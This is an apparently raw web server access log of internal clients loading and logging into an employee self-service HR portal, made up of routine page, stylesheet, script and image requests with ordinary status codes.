"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 192.168.12.46 - - [03/Dec/2025:18:16:31 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:16:31 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8806 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 192.168.11.71 - - [03/Dec/2025:18:19:22 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 192.168.11.71 - - [03/Dec/2025:18:19:22 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [03/Dec/2025:18:19:25 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [03/Dec/2025:18:19:25 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.71 - - [03/Dec/2025:18:19:30 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [03/Dec/2025:18:19:30 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.71 - - [03/Dec/2025:18:19:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [03/Dec/2025:18:19:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 100.64.0.1 - - [03/Dec/2025:18:20:22 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [03/Dec/2025:18:20:22 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [03/Dec/2025:18:20:23 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [03/Dec/2025:18:20:23 +0800] "\x16\x03\x01" 501 205 192.168.11.146 - - [03/Dec/2025:18:22:25 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:25 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 192.168.11.146 - - [03/Dec/2025:18:22:25 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:25 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:26 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 192.168.11.146 - - [03/Dec/2025:18:22:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:22:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 192.168.11.146 - - [03/Dec/2025:18:22:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" 